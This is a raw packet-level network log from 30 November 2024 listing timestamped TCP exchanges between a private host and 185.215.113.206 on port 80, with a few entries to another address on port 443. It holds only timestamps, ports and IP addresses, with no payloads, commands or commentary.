Nov 30, 2024 09:44:19.582349062 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.582426071 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.582462072 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.583092928 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.583158970 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.584361076 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.584475994 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.648825884 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.649127007 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.649241924 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.649293900 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.650319099 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.650374889 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.651109934 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.651180983 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.653429985 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.653440952 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.653510094 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.654937029 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.655061007 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.655708075 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.655761957 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.656492949 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.656502008 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.656542063 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.713658094 CET	49753	443	192.168.2.4	4.245.163.56
Nov 30, 2024 09:44:19.713677883 CET	443	49753	4.245.163.56	192.168.2.4
Nov 30, 2024 09:44:19.713690996 CET	49753	443	192.168.2.4	4.245.163.56
Nov 30, 2024 09:44:19.713696957 CET	443	49753	4.245.163.56	192.168.2.4
Nov 30, 2024 09:44:19.717706919 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.717761040 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.718086958 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.718286037 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.718338966 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.719034910 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.719084978 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.719815016 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.719883919 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.720578909 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.720628023 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.721360922 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.721432924 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.722129107 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.722178936 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.722901106 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.722949028 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.723674059 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.723720074 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.724450111 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.724492073 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.725260973 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.725301027 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.726070881 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.726110935 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.726732969 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.726771116 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.727554083 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.727571011 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.727612972 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.729118109 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.729160070 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.729846954 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.729890108 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.730665922 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.730688095 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.730726004 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.732145071 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.732182980 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.732907057 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.733057976 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.733702898 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.733714104 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.733756065 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.735234976 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.735281944 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.735995054 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.736051083 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.736787081 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.736795902 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.736831903 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.738308907 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.738595009 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.739098072 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.739108086 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.739151955 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.740624905 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.740679026 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.741408110 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.741419077 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.741453886 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.741472960 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.742969036 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.742980957 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.743014097 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.743041992 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.744492054 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.744503021 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.744539022 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.744553089 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.746056080 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.746067047 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.746105909 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.747567892 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.747581005 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.747622013 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.747637033 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.749098063 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.749109983 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.749146938 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.749160051 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.750653982 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.750667095 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.750704050 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.752188921 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.752201080 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.752240896 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.753748894 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.753760099 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.753796101 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.753814936 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.755274057 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.755290985 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.755337000 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.756823063 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.756834984 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.756875038 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.758358002 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.758368969 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.758398056 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.758411884 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.759908915 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.759922981 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.759958982 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.761441946 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.761454105 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.761496067 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.762993097 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.763004065 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.763051987 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.764678955 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.764691114 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.764729023 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.764749050 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.766056061 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.766067982 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.766115904 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.766163111 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.767602921 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.767616034 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.767646074 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.767673016 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.769143105 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.769159079 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.769186020 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.769212961 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.770680904 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.770694017 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.770730972 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.770750999 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.772236109 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.772255898 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.772295952 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.772320032 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.773801088 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.773813009 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.773859024 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.775310040 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.775325060 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.775372982 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.776858091 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.776868105 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.776911974 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.776922941 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.778390884 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.778405905 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.778439045 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.778461933 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.779968977 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.779979944 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.780014038 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.780040026 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.781492949 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.781505108 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.781543016 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.781572104 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.783020020 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.783032894 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.783075094 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.783094883 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.784574032 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.784584999 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.784626007 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.784650087 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.786139965 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.786154032 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.786195040 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.786206007 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.787672997 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.787684917 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.787719011 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.787745953 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.789362907 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.789375067 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.789413929 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.789438009 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.790994883 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.791054964 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.850142002 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.850199938 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.850897074 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.850945950 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.851824045 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.851877928 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.853444099 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.853493929 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.853630066 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.853682041 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.854435921 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.854489088 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.855139971 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.855191946 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.919186115 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.919296026 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.919590950 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.920200109 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.920360088 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.920409918 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.921129942 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.921185970 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.921919107 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.921930075 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.921974897 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.921993017 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.923490047 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.923501968 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.923544884 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.923564911 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.925112963 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.925123930 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.925235987 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.925235987 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.926795959 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.926861048 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.927392960 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.927413940 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.927463055 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.929148912 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.929161072 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.929200888 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.930876017 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.930886030 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.930923939 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.930938005 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.932552099 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.932564020 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.932602882 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.934278011 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.934288979 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.934298992 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.934326887 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.934360027 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.936007023 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.936022997 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.936045885 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.936075926 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.937706947 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.937717915 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.937756062 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.939414978 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.939425945 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.939461946 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.941102982 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.941122055 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.941131115 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.941149950 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.941169977 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.942846060 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.942857981 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.942897081 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.944552898 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.944565058 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.944597960 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.946259022 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.946269989 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.946305990 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.946341991 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.947987080 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.947998047 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.948035955 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.949660063 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.949678898 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.949687958 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.949731112 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.949784994 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.951394081 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.951406002 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.951464891 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.951484919 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.953103065 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.953115940 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.953147888 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.953182936 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.954832077 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.954843998 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.954905033 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.956536055 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.956547022 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.956556082 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.956614017 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.958261967 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.958272934 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.958326101 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.959961891 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.959974051 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.960028887 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.961678028 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.961688995 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.961729050 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.963383913 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.963396072 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.963424921 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.963443041 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.965085030 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.965095997 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.965105057 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.965140104 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.965157032 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.966825962 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.966836929 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.966882944 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.968523026 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.968534946 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.968579054 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.970211983 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.970223904 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.970264912 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.971931934 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.971942902 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.971951962 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.972003937 CET	49749	80	192.168.2.4	185.215.113.206
